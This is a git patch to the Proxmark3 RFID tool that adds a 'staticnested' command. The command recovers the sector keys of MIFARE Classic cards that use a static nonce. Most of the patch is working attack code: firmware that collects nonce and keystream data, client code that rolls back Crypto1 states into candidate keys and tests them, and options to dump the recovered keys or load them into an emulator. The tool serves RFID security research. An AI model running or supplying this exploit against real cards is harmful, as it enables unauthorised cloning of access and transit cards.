From b37a4c14eb497b431f7443b9f685d7f2e222bfa0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 16:00:31 +0100 Subject: [PATCH] Add 'hf mf staticnonce' - a nested find all key solution command for tags that has a static nonce. \n See https://github.com/RfidResearchGroup/proxmark3/issues/133 \n See https://github.com/Proxmark/proxmark3/issues/899 \n This solution is based upon the ideas and solutions of @uzlonewolf and @xtigmh . Thanks! --- CHANGELOG.md | 1 + armsrc/appmain.c | 12 ++ armsrc/mifarecmd.c | 110 +++++++++++++++-- armsrc/mifarecmd.h | 2 + client/cmdhf14a.c | 4 +- client/cmdhfmf.c | 233 +++++++++++++++++++++++++++++++++++-- client/mifare/mifarehost.c | 133 ++++++++++++++++++++- client/mifare/mifarehost.h | 1 + include/pm3_cmd.h | 1 + 9 files changed, 478 insertions(+), 19 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 24a4c091d..91d585f28 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions. - Added `hf plot` (@pwpiwi) - Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001) - Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 8661ffccb..ab0320e75 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1156,6 +1156,18 @@ static void PacketReceived(PacketCommandNG *packet) { MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key); break; } + case CMD_HF_MIFARE_STATIC_NESTED: { + struct p { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + uint8_t key[6]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareStaticNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->key); + break; + } case CMD_HF_MIFARE_CHKKEYS: { MifareChkKeys(packet->data.asBytes); break; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 9bcec8862..4d7138565 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1101,6 +1101,107 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 set_tracing(false); } +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key) { + + LEDsoff(); + + uint64_t ui64Key = 0; + ui64Key = bytes_to_num(key, 6); + + // variables + uint16_t len; + + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0, nt1, nt2; + uint32_t target_nt = {0x00}, target_ks = {0x00}; + uint8_t par[1] = {0x00}; + uint8_t receivedAnswer[10] = {0x00}; + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + LED_A_ON(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // free eventually allocated BigBuf memory + BigBuf_free(); + BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + int16_t isOK = 0; + + LED_C_ON(); + + for (uint8_t retry = 0; retry < 3 && (isOK == 0); retry++) { + + WDT_HIT(); + + // prepare next select. No need to power down the card. + if (mifare_classic_halt(pcs, cuid)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); + retry--; + continue; + } + + if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card"); + retry--; + continue; + }; + + // First authenticatoin. Normal auth. + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error"); + retry--; + continue; + }; + + // second authentication. Nested auth + len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL); + if (len != 4) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len); + continue; + }; + + nt2 = bytes_to_num(receivedAnswer, 4); + uint32_t nt_tmp = prng_successor(nt1, 160); + target_ks = nt2 ^ nt_tmp; + target_nt = nt_tmp; + isOK = 1; + + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Testing nt1=%08x nt2enc=%08x nt2par=%02x ks=%08x", nt1, nt2, par[0], target_ks); + } + + LED_C_OFF(); + + crypto1_deinit(pcs); + + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t ks[4]; + } PACKED payload; + payload.isOK = isOK; + payload.block = targetBlockNo; + payload.keytype = targetKeyType; + + memcpy(payload.cuid, &cuid, 4); + memcpy(payload.nt, &target_nt, 4); + memcpy(payload.ks, &target_ks, 4); + + LED_B_ON(); + reply_ng(CMD_HF_MIFARE_STATIC_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); + LED_B_OFF(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); +} //----------------------------------------------------------------------------- // MIFARE check keys. key count up to 85. // @@ -1241,8 +1342,6 @@ void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found } } - - // get Chunks of keys, to test authentication against card. // arg0 = antal sectorer // arg0 = first time @@ -2065,7 +2164,6 @@ OUT: // turns off OnSuccessMagic(); BigBuf_free(); - BigBuf_Clear_ext(false); } void MifareHasStaticNonce() { @@ -2092,8 +2190,8 @@ void MifareHasStaticNonce() { goto OUT; } - // Transmit MIFARE_CLASSIC_AUTH - len = mifare_sendcmd_short(pcs, false, 0x60, 0, rec, recpar, NULL); + // Transmit MIFARE_CLASSIC_AUTH 0x60, block 0 + len = mifare_sendcmd_short(pcs, false, MIFARE_AUTH_KEYA, 0, rec, recpar, NULL); if (len != 4) { retval = PM3_ESOFT; goto OUT; @@ -2114,8 +2212,6 @@ OUT: // turns off OnSuccessMagic(); BigBuf_free(); - BigBuf_Clear_ext(false); - crypto1_deinit(pcs); } diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index a127e79af..cb60ea7c5 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -25,6 +25,8 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key); +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key); + void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); void MifareAcquireNonces(uint32_t arg0, uint32_t flags); void MifareChkKeys(uint8_t *datain); diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 6744916f7..c611caa1f 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -1601,9 +1601,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { res = detect_classic_static_nonce(); if (res == 1) - PrintAndLogEx(SUCCESS, "Static/Fixed nonce detected"); + PrintAndLogEx(SUCCESS, "Static nonce detected"); if (res == 2 && verbose) - PrintAndLogEx(SUCCESS, "Static/Fixed nonce detection failed"); + PrintAndLogEx(SUCCESS, "Static nonce detection failed"); } return select_status; diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 4a9e8809a..e8e27793b 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -132,6 +132,21 @@ static int usage_hf14_nested(void) { PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A"); return PM3_SUCCESS; } +static int usage_hf14_staticnested(void) { + PrintAndLogEx(NORMAL, "Usage:"); + PrintAndLogEx(NORMAL, " all sectors: hf mf staticnested [t,d]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); + PrintAndLogEx(NORMAL, " t transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); + return PM3_SUCCESS; +} static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, "Usage:"); PrintAndLogEx(NORMAL, " hf mf hardnested "); @@ -1263,9 +1278,10 @@ static int CmdHF14AMfNested(const char *Cmd) { j++; } - // check if tag doesn't have static/fixed nonce + // check if tag doesn't have static nonce if (detect_classic_static_nonce() != 0) { - PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); + PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`"); return PM3_EOPABORTED; } @@ -1279,7 +1295,7 @@ static int CmdHF14AMfNested(const char *Cmd) { int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, true); switch (isOK) { case -1 : - PrintAndLogEx(ERR, "Error: No response from Proxmark3.\n"); + PrintAndLogEx(ERR, "Command execute timeout\n"); break; case -2 : PrintAndLogEx(WARNING, "Button pressed. Aborted.\n"); @@ -1314,7 +1330,7 @@ static int CmdHF14AMfNested(const char *Cmd) { } return PM3_SUCCESS; default : - PrintAndLogEx(ERR, "Unknown Error.\n"); + PrintAndLogEx(ERR, "Unknown error.\n"); } return PM3_SUCCESS; } else { // ------------------------------------ multiple sectors working @@ -1360,7 +1376,7 @@ static int CmdHF14AMfNested(const char *Cmd) { int16_t isOK = mfnested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate); switch (isOK) { case -1 : - PrintAndLogEx(ERR, "error: No response from Proxmark3.\n"); + PrintAndLogEx(ERR, "Command execute timeout\n"); break; case -2 : PrintAndLogEx(WARNING, "button pressed. Aborted.\n"); @@ -1382,7 +1398,7 @@ static int CmdHF14AMfNested(const char *Cmd) { continue; default : - PrintAndLogEx(ERR, "unknown Error.\n"); + PrintAndLogEx(ERR, "Unknown error.\n"); } free(e_sector); return PM3_ESOFT; @@ -1472,6 +1488,204 @@ jumptoend: return PM3_SUCCESS; } +static int CmdHF14AMfNestedStatic(const char *Cmd) { + sector_t *e_sector = NULL; + uint8_t keyType = 0; + uint8_t trgKeyType = 0; + uint8_t SectorsCnt = 0; + uint8_t key[6] = {0, 0, 0, 0, 0, 0}; + uint8_t keyBlock[(ARRAYLEN(g_mifare_default_keys) + 1) * 6]; + uint64_t key64 = 0; + bool transferToEml = false; + bool createDumpFile = false; + + if (strlen(Cmd) < 3) return usage_hf14_staticnested(); + + char cmdp, ctmp; + cmdp = tolower(param_getchar(Cmd, 0)); + uint8_t blockNo = param_get8(Cmd, 1); + ctmp = tolower(param_getchar(Cmd, 2)); + + if (ctmp != 'a' && ctmp != 'b') { + PrintAndLogEx(WARNING, "key type must be A or B"); + return PM3_EINVARG; + } + + if (ctmp != 'a') + keyType = 1; + + if (param_gethex(Cmd, 3, key, 12)) { + PrintAndLogEx(WARNING, "key must include 12 HEX symbols"); + return PM3_EINVARG; + } + + SectorsCnt = NumOfSectors(cmdp); + if (SectorsCnt == 0) return usage_hf14_staticnested(); + + uint8_t j = 4; + while (ctmp != 0x00) { + + ctmp = tolower(param_getchar(Cmd, j)); + transferToEml |= (ctmp == 't'); + createDumpFile |= (ctmp == 'd'); + + j++; + } + + // check if tag have static nonce + if (detect_classic_static_nonce() == 0) { + PrintAndLogEx(WARNING, "Normal nonce detected. Quitting..."); + return PM3_EOPABORTED; + } + + // check if we can authenticate to sector + if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); + return PM3_EOPABORTED; + } + + uint64_t t1 = msclock(); + + e_sector = calloc(SectorsCnt, sizeof(sector_t)); + if (e_sector == NULL) return PM3_EMALLOC; + + // add our known key + e_sector[GetSectorFromBlockNo(blockNo)].foundKey[keyType] = 1; + e_sector[GetSectorFromBlockNo(blockNo)].Key[keyType] = key64; + + //test current key and additional standard keys first + // add parameter key + memcpy(keyBlock + (ARRAYLEN(g_mifare_default_keys) * 6), key, 6); + + for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) { + num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); + } + + PrintAndLogEx(SUCCESS, "Testing known keys. Sector count=%d", SectorsCnt); + int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false); + if (res == PM3_SUCCESS) { + // all keys found + PrintAndLogEx(SUCCESS, "Fast check found all keys"); + goto jumptoend; + } + + uint64_t t2 = msclock() - t1; + PrintAndLogEx(SUCCESS, "Time to check %zu known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "enter static nested attack"); + + // nested sectors + for (trgKeyType = 0; trgKeyType < 2; ++trgKeyType) { + for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) { + + for (int i = 0; i < 1; i++) { + + if (e_sector[sectorNo].foundKey[trgKeyType]) continue; + + int16_t isOK = mfStaticNested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock); + switch (isOK) { + case PM3_ETIMEOUT : + PrintAndLogEx(ERR, "Command execute timeout"); + break; + case PM3_ESOFT : + continue; + case PM3_SUCCESS : + e_sector[sectorNo].foundKey[trgKeyType] = 1; + e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6); + + mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false); + continue; + default : + PrintAndLogEx(ERR, "unknown error.\n"); + } + free(e_sector); + return PM3_ESOFT; + } + } + } + + t1 = msclock() - t1; + PrintAndLogEx(SUCCESS, "time in static nested: %.0f seconds\n", (float)t1 / 1000.0); + + + // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? + PrintAndLogEx(INFO, "trying to read key B..."); + for (int i = 0; i < SectorsCnt; i++) { + // KEY A but not KEY B + if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { + + uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); + + PrintAndLogEx(SUCCESS, "reading block %d", sectrail); + + mf_readblock_t payload; + payload.blockno = sectrail; + payload.keytype = 0; + + num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A + + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); + + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500)) continue; + + if (resp.status != PM3_SUCCESS) continue; + + uint8_t *data = resp.data.asBytes; + key64 = bytes_to_num(data + 10, 6); + if (key64) { + PrintAndLogEx(SUCCESS, "data: %s", sprint_hex(data + 10, 6)); + e_sector[i].foundKey[1] = true; + e_sector[i].Key[1] = key64; + } + } + } + +jumptoend: + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + + //print them + printKeyTable(SectorsCnt, e_sector); + + // transfer them to the emulator + if (transferToEml) { + // fast push mode + conn.block_after_ACK = true; + for (int i = 0; i < SectorsCnt; i++) { + mfEmlGetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1); + + if (e_sector[i].foundKey[0]) + num_to_bytes(e_sector[i].Key[0], 6, keyBlock); + + if (e_sector[i].foundKey[1]) + num_to_bytes(e_sector[i].Key[1], 6, &keyBlock[10]); + + if (i == SectorsCnt - 1) { + // Disable fast mode on last packet + conn.block_after_ACK = false; + } + mfEmlSetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1); + } + PrintAndLogEx(SUCCESS, "keys transferred to emulator memory."); + } + + // Create dump file + if (createDumpFile) { + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + free(e_sector); + return PM3_ESOFT; + } + } + free(e_sector); + + return PM3_SUCCESS; +} + + static int CmdHF14AMfNestedHard(const char *Cmd) { uint8_t blockNo = 0; uint8_t keyType = 0; @@ -1617,9 +1831,10 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { if (!know_target_key && nonce_file_read == false) { - // check if tag doesn't have static/fixed nonce + // check if tag doesn't have static nonce if (detect_classic_static_nonce() != 0) { - PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); + PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`"); return PM3_EOPABORTED; } @@ -4587,7 +4802,7 @@ static command_t CommandTable[] = { {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"}, -// {"fixednested", CmdHF14AMfNestedFixed, IfPm3Iso14443a, "Nested attack against static/fixed nonce Mifare Classic cards"}, + {"staticnested", CmdHF14AMfNestedStatic, IfPm3Iso14443a, "Nested attack against static nonce Mifare Classic cards"}, {"autopwn", CmdHF14AMfAutoPWN, IfPm3Iso14443a, "Automatic key recovery tool for MIFARE Classic"}, // {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"}, {"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for MIFARE NACK bug"}, diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 4b29920ee..a4169baa5 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -470,7 +470,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, for (int j = 0; j < size; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i, &key64); - num_to_bytes(key64, 6, keyBlock + i * 6); + num_to_bytes(key64, 6, keyBlock + j * 6); } if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { @@ -498,6 +498,137 @@ out: return -4; } +int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { + uint16_t i; + uint32_t uid; + StateList_t statelists[1]; + struct Crypto1State *p1, *p3; + + struct { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + uint8_t key[6]; + } PACKED payload; + payload.block = blockNo; + payload.keytype = keyType; + payload.target_block = trgBlockNo; + payload.target_keytype = trgKeyType; + memcpy(payload.key, key, sizeof(payload.key)); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_STATIC_NESTED, (uint8_t *)&payload, sizeof(payload)); + + if (!WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NESTED, &resp, 2000)) + return PM3_ETIMEOUT; + + if (resp.status != PM3_SUCCESS) + return resp.status; + + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t ks[4]; + } PACKED; + struct p *package = (struct p *)resp.data.asBytes; + + // error during collecting static nested information + if (package->isOK == 0) return PM3_EUNDEF; + + memcpy(&uid, package->cuid, sizeof(package->cuid)); + + statelists[0].blockNo = package->block; + statelists[0].keyType = package->keytype; + statelists[0].uid = uid; + + memcpy(&statelists[0].nt_enc, package->nt, sizeof(package->nt)); + memcpy(&statelists[0].ks1, package->ks, sizeof(package->ks)); + + // calc keys + pthread_t t; + + // create and run worker thread + pthread_create(&t, NULL, nested_worker_thread, &statelists[0]); + + // wait for thread to terminate: + pthread_join(t, (void *)&statelists[0].head.slhead); + + // the first 16 Bits of the cryptostate already contain part of our key. + p1 = p3 = statelists[0].head.slhead; + + // create key candidates. + while (p1 <= statelists[0].tail.sltail) { + struct Crypto1State savestate; + savestate = *p1; + while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { + *p3 = *p1; + lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); + p3++; + p1++; + } + } + + *(uint64_t *)p3 = -1; + statelists[0].len = p3 - statelists[0].head.slhead; + statelists[0].tail.sltail = --p3; + + uint32_t keycnt = statelists[0].len; + if (keycnt == 0) goto out; + + PrintAndLogEx(SUCCESS, "Found %3u candidate keys", keycnt); + + memset(resultKey, 0, 6); + uint64_t key64 = -1; + + // The list may still contain several key candidates. Test each of them with mfCheckKeys + uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; + uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; + + for (i = 0; i < keycnt; i += max_keys_slice) { + + PrintAndLogEx(INFO, "Testing %u/%u ", i, keycnt); + + key64 = 0; + + int size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; + + // copy x keys to device. + for (int j = 0; j < size; j++) { + crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); + num_to_bytes(key64, 6, keyBlock + j * 6); + } + + // check a block of generated candidate keys. + if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { + + free(statelists[0].head.slhead); + + num_to_bytes(key64, 6, resultKey); + + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + package->block, + package->keytype ? 'B' : 'A', + sprint_hex(resultKey, 6) + ); + return PM3_SUCCESS; + } + } + +out: + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c", + package->block, + package->keytype ? 'B' : 'A' + ); + + free(statelists[0].head.slhead); + + return PM3_ESOFT; +} // MIFARE int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data) { diff --git a/client/mifare/mifarehost.h b/client/mifare/mifarehost.h index a17e4b099..846ee4222 100644 --- a/client/mifare/mifarehost.h +++ b/client/mifare/mifarehost.h @@ -61,6 +61,7 @@ extern char logHexFileName[FILE_PATH_SIZE]; int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key); int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate); +int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory); diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index ac397ff61..7ae6f0779 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -488,6 +488,7 @@ typedef struct { #define CMD_HF_MIFARE_NESTED 0x0612 #define CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES 0x0613 #define CMD_HF_MIFARE_ACQ_NONCES 0x0614 +#define CMD_HF_MIFARE_STATIC_NESTED 0x0615 #define CMD_HF_MIFARE_READBL 0x0620 #define CMD_HF_MIFAREU_READBL 0x0720